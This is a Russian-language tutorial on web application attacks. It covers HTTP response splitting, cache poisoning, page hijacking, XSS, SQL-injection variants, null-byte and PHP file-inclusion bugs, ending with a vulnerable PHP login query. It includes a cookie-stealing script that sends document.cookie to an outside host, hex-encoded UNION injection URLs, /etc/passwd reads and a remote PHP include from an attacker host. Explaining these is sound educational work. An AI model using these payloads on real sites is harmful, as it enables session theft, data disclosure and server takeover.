Взлом и анализ уязвимостей на веб-страницах

30)  HRS (HTTP Resource Splitting) – Достаточно молодой и по нашему мнению сложный приём (если не использовать его только для XSS), который позволяет реализовать атаки вида Hijacking Pages, Cross User Defacement, Web Cache Poisoning, Browser Cache Poisoning, XSS (будут описаны ниже). Сущность атаки в том, что взломщик, специально приготовленным HTTP запросом может заставить Веб-сервер, уязвимый перед HRS, ответить жертве (а не взломщику) двумя раздельными HTTP ответами (а не одним, как это было бы в обычной ситуации). Первый HTTP ответ может быть частично контролируем взломщиком, но второй контролируется взломщиком полностью! Если это возможно, взломщик посылает два запроса, где жертва выступает уже посредником. Первый из этих запросов снова заставит Веб-сервер ответить два раза, а второй обычно запрашивает какой-либо второстепенный ресурс на сервере (например, какую-либо маленькую картинку). Но! Жертва объединит второй HTTP запрос (на второстепенный ресурс) со вторым HTTP ответом (который контролируется взломщиком)! Таким образом, жертва думает, что получившийся «агрегат» это ответ от Веб-сервера с частью его содержимого, но на самом деле это будет важная информация или команда (которая подготовлена взломщиком). Есть ещё один нюанс, жертвой может быть компьютер взломщика, который получит в результате атаки, важную информацию, например, cookie другого пользователя. Ниже мы опишем атаки, которые можно провести через HRS, но они так же могут быть проведены с использованием другого приёма, но мы скажем про них всё же в ключе HRS.

31)  Cross User Defacement – Достаточно «узкий» приём, потому что взломщик подделывает страницу, которая посылается уязвимым Веб – сервером только одной жертве. При этом содержимое Веб – сервера никаким образом не меняется. Кроме этого, приём очень сложно провести не при помощи HRS. Взломщику придётся выступить посредником между клиентом и сервером при помощи Спуфинга, IP хайджека, или ошибки в реализации некоторых Веб-серверов, но в итоге «затраты» не оправдают полученного результата. Более легко реализовать это через межпользовательскую атаку.

32)  Web Cache Poisoning – по нашему мнению, не совсем полезный приём, поэтому опишем его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы при повторном запросе такой страницы отдать её из кэша, а не запрашивать Веб-сервер. Это необходимо для экономии трафика, если это корпоративная сеть и прокси сервер внутрисетевой. Суть приёма в том, чтобы спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети.

33)  Browser Cache Poisoning. Кэши есть не только у прокси серверов, но также и у браузеров. По сути этот приём почти то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается только один компьютер.

34)  Hijacking Pages – в некоторой степени этот приём схож с межпользовательской атакой, но здесь цель атаки не «подсунуть» пользователю подделанную информацию, например Веб-страницу, а наоборот, заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким образом, взломщик может получить важную информацию, предназначенную другому пользователю. Это может быть номер его счёта или выданный ему пароль. Для проведения атаки, взломщику необходимо TCP соединение с прокси сервером (назовём «ВСП»), TCP соединение между жертвой и прокси сервером («ЖСП») и TCP соединение между Веб-сервером и прокси сервером («ССП»). Схема следующая:

 
a)      Взломщик посылает через «ВСП» запрос (назовём «ЗА») к прокси серверу, на который Веб-сервер должен ответить двумя «ответами» «ОФ1» и «ОФ2» (случай HRS).  
b)      Прокси сервер пересылает через «ССП» запрос «ЗА» к Веб-серверу.  
c)      Веб-сервер отвечает «ОФ1» и «ОФ2» через «ССП».  
d)      Прокси сервер считает, что «ОФ1» это ответ на «ЗА» и пересылает его взломщику через «ВСП».  
e)      Жертва посылает прокси серверу запрос «ЗЖ» через «ЖСП». На который Веб сервер должен ответить страницей «ОС», которая содержит важную информацию.  
f)        Прокси сервер пересылает «ЗЖ» Веб-серверу через «ССП», но тут же принимает фальшивый «ОФ2» за ответ Веб-сервера.  
g)      Прокси сервер через «ЖСП» пересылает жертве «ОФ2» как ответ на запрос «ЗЖ».  
h)      Взломщик снова посылает прокси серверу новый запрос «ЗА2» через «ВСП».  
i)        В это время прокси сервер получает ответ от Веб-сервера на «ЗЖ» через «ССП».  
j)        При этом прокси сервер всё же пересылает «ЗА2» Веб-серверу через «ССП», но тут же принимает «ОС» за ответ на «ЗА2».  
k)      Прокси сервер пересылает «ОС» взломщику через «ВСП». Т.о. взломщик добился своей цели, он получил страницу, которая предназначалась жертве.

Дальше прокси сервер получит ответ  на последний запрос взломщика, но на то время эту страницу будет некому отдать, и она будет вероятнее  всего удалена. Мы думаем, что после  рассмотрения этой схемы стало понятно, что атака не столь сложна в реализации в теории, сколь сложна на практике. Требуется точно распланированное время, через которое будут отосланы запросы и, соответственно, потребуются точные данные, через какое время будут получены ответы на запросы.

35)  CSS/XSS (Cross-Site Scripting или Межсайтовый скриптинг). Атака, так и не признанная Microsoft опасной, основана на использовании Java Script в странице. Как известно, Java код, «вшитый» в страницу, выполняется браузером пользователя. Возможности достаточно ограничены, но в умелых руках имеющиеся возможности могут быть очень эффективно использованы. Например, многие форумы или почтовые сервера умеют идентифицировать пользователя по наличию определённой cookie на компьютере пользователя. Она уникальна для каждого и поэтому считается достаточно безопасно идентифицировать пользователя для доступа к информации малой важности только по её наличию, без ввода пароля. Но, cookie можно украсть! Взломщик может внедрить в страницу код типа: «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>», а на своём сайте создать файл snf.jpg, который на самом деле будет скриптом и будет записывать в файл полученные через document.cookie данные. Таким образом, каждый пользователь, посетивший страницу форума, куда взломщик внедрил вышеприведённый код (например, вместо картинки), «подарит» взломщику свою cookie, которая позже может быть использована взломщиком для регистрации на форуме. Даже если внешние ссылки на картинки не разрешены, но есть возможность их загрузки, то одного фильтра на расширение (чтобы оно было, например JPG) мало. Поэтому атака всё равно будет успешной, если в теле файла (например: «photo.jpg») будет содержаться JAVA код. Если сервер подвержен атаке XSS, то клиент может сам уберечься от неё, отключив выполнение Java Script в своём браузере. Конечно, после этого некоторые страницы могут работать некорректно.

36)  SiXSS (SQL Injection Cross Site Scripting). Представляет собой комбинацию SQL Injection и XSS, т.е. выполнение атаки типа XSS через уязвимость скрипта к SQL Injection. Атака основана на том, что свежие версии MySQL умеют переводить шестнадцатеричные значения (вида 0хХХ) в текст. Например, через SQL запрос можно выяснить, что шестнадцатеричное значение строки «<script>alert("SiXSS");</script>» это «3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E». Теперь если есть уязвимый к SQL Injection Скрипт, то можно задать вот такой запрос: www.victim.com/vuln_script.php?vuln_variable=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E Мы надеемся, что записи vuln_variable или vuln_script Вам понятны, что это уязвимая переменная и уязвимый скрипт соответственно. В результате мы получим окошко с текстом SiXSS, что значит, что атака прошла успешно. Код исключительно безвреден, поэтому можно проверить самим. Подобная атака весьма специфична, поэтому мы считаем необходимым обговорить её более подробно. В отличие от XSS эта атака применяется в фишинге, если её модифицировать. Кроме того, достаточно трудно внедрить подобный код в чужую страницу, потому что «рабочие» скрипты в их шестнадцатеричном значении очень длинные и могут выходить за пределы допустимых значений, поэтому проще привести подобную ссылку отдельно как текст, нежели «вшивать её». Конечно, многие пользователи могут сказать, что они никогда не откроют ссылку, если увидят в ней элементы SQL запроса, например «UNION», однако здесь есть свой подводный камень: от человеческого глаза ссылку легко спрятать, сделать неузнаваемой. Например, запись %F1%F1%FB%EB%EA%E0 совершенно непонятна для глаза, но будет правильно воспринята браузером и сервером. Кроме этого, есть несколько способов замаскировать ссылку, поэтому ошибиться будет легко. Кроме этого, многие почтовые клиенты предпочитают не показывать ссылку целиком, а показывать только начало, поэтому фрагменты SQL могут оказаться попросту скрытыми. Поэтому, либо не доверяйте неизвестным отправителям, даже если они представятся менеджерами банков, либо отключите JAVA. Но первый вариант всё же предпочтительнее. Из личного опыта можно рассказать, что однажды пришло подобное письмо от управляющего банком, где в поле «отправител» была запись «Apex Bank PLC», однако в обратном адресе было apexbnkplcc@yahoo.co.uk Ясно, что это был мошенник, потому что никогда банк не будет доверять обработку своей почты бесплатным почтовым серверам. Внимательно проверяйте обратный адрес и не верьте в легкие деньги!

37)  SiHRS (SQL Injection HTTP Resource Splitting) – приём реализует HTTP Resource Splitting через уязвимость скрипта к SQL Injection. Это становится возможным, если скрипт, например, по индексу, сначала обращается к SQL базе за HTTP адресом, а потом сам генерирует свой HTTP запрос и использует полученный из SQL базы HTTP адрес для подстановки в поле «Location:» своего HTTP запроса. Это достаточно часто используется в Интернет-каталогах сайтов. Мы можем привести пример HTTP заголовка, который может быть использован для SiHRS в шестнадцатеричном виде.

 
Select HEX('i.php'  
Content-Length: 0  
   
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 19  
   
<html></html>');

Получится очень длинная строка, поэтому мы приведём только первую её часть «692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

Теперь мы сможем так же использовать полученный результат, как и в  случае с SiXSS.

«www.victim.com/vuln_script.php?vuln_variable=1+and+2%3d%34+union+select+0x692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

38)  NULL Byte (или Нулевой байт). Это достаточно серьёзная проблема с языком PERL. Дело в том, что Perl позволяет символу \0 (HTML вариант - %00) быть в любом месте строки. Для языков типа С, этот символ означает конец строки. Вот тут и кроется угроза. Например, есть Perl код: $filename = $query->param('filename').'.dat'; open F, $filename; Конечно, всё будет в порядке, если filename будет введён, например “org”, тогда Perl будет открывать файл org.dat, но если взломщик введёт “/etc/passwd%00”, то Perl попытается открыть файл с именем “/etc/passwd\0.dat”. Так как за открытие файла отвечает функция open, которая, получив этот параметр, воспримет \0 как конец строки и отбросит “.dat” и откроет файл “/etc/passwd”.

39)  Include Bug – Достаточно часто встречающаяся уязвимость. Для упрощения добавления новых страниц на сайт или для других целей в скриптах используется функция include($file); где $file задаётся пользователем, либо указывается в ссылке, например http://victim.com/news.php?file=somefile .После этого, вместо функции include(); будет вставлено содержимое somefile. Достаточно удобно, но если не проверять введённое пользователем значение, то рано или поздно кто-нибудь введёт http://victim.com/news.php?file=/etc/passwd и получит его содержимое.

40)  PHP-Include Bug – на наш взгляд достаточно интересная уязвимость, которая может быть отнесена к подвиду Include Bug, но мы считаем, что стоит выделить её отдельно, потому что целью выступает не получение данных из какого-то файла, а вставка в страницу и последующее выполнение сервером PHP кода. Те, кто знакомы с PHP знают, что фрагменты кода (ограниченные, например, <? … ?> или <?php … ?>) просто вставляются в Веб-страницу, и при построчной обработке страницы Веб-сервером, они выполняются. Т.о. можно вставить такие куски кода в страницу через PHP Include. Например, в странице есть код include($file); В результате в страницу будет вставлено содержимое файла $file (который задаётся пользователем, как в случае с Include Bug). Взломщик может заранее подготовить файл, который содержит в себе PHP код, который он желает выполнить на уязвимом сервере. После этого он загрузит файл на свой Веб-сервер и введёт запрос http://victim.com/news.php?file=http://attacker.host.com/php_code.php После этого PHP код будет вставлен в уязвимую страницу и выполнен Веб-сервером.

41)  Hidden Fields (или Скрытые поля). Это не приём взлома, скорее, приём манипуляции данными. Скрытые поля используются в формах, которые сначала передаются клиенту, но не отображаются в браузере, а потом отдаются обратно серверу. Они выглядят в исходном коде HTML страницы как: “<input type="hidden" name="price" value="10">”. Проблема в том, что взломщик может изменить это поле вручную, после чего товар будет ему продан в ту цену, в которую он пожелает.

Некоторые уязвимости web ресурсов, использующих SQL

 
В заметке рассматривается уязвимость SQL, связанная с проникновением в  тело запроса.

Суть уязвимости

Рассмотрим работу простейшей системы  с WEB-интерфейсом, позволяющей пользователям  хранить и менять информацию о себе. Такие системы одни из самых распространенных в сети. Это может быть и гостевая книга, и чат, и фотогаллерея, и почтовый сервис.

Генерируемый запрос к базе даных должен содержать в себе логин и пароль, введенные пользователем. По этим полям БД должна найти соответствующую запись в таблице.  После обработки запроса, БД выдает найденную информацию о пользователе, которую PHP скрипт оформляет в виде HTML и возвращает пользователю.

Расcмотрим достаточно типичный фрагмент PHP скрипта, использующий SQL запрос для  доступа к базе данных:

<?php  
$result = mysql_db_query("database","select * from userTable where login = '$userLogin' and password = '$userPassword' "); 
while($row = mysql_fetch_array($result)) { 
    echo $row["fullname"]; 
   echo $row["email"]; 
    echo $row["password"];  
} 
mysql_free_result($result); 
?>

Как видим, логин и пароль, введенные  пользователем содержатся в переменных $userLogin и $userPassword. Содержимое этих переменных встявляется в запрос для отфильтровки информации именно об этом пользователе. Фильтр задается с помощью опции where команды select SQL. В данном случае, запрос выглядит таким образом: select * from userTable where login = '$userLogin' and password = '$userPassword' где userTable - имя таблицы, содержащей нужную информацию. Если переменые логина и пароля содержат значения vanya и vasya соответственно, то запрос, отсылаемый БД, примет такой вид: select * from userTable where login = 'vanya' and password = 'vasya'. Понятно, что если в базе данных отсутствует запись, в которой логин равен vanya а пароль - vasya, до запрос не пришлет ни одной строчки из БД, и скрипт ничего не выдаст. Таким образом, приведенная система обеспечивает доступ к информации только пользователя, обладающего правильным паролем и логином.

Казалось бы, такая система не содержит изъянов. На самом деле, это  не так. Логика программиcтов, создававших  приведенный выше пример, подразумевает, что введенные пользователем логин и пароль, будут содержаться внутри одинарных кавычек, которые жестко забиты в теле запроса. Однако, посмотрим, что произойдет, если сам пароль, введенный пользоваетелм содержит кавычку. Пусть он имеет значение vas'ya, тогда запрос примет вид: select * from userTable where login = 'vanya' and password = 'vas'ya'. При исполнении такого запроса, безусловно возникнет ошибка, поскольку кавычка из пароля, закрыла открывающую кавычку из запроса, и конец пароля ya' остался "висеть" вне условного выражения.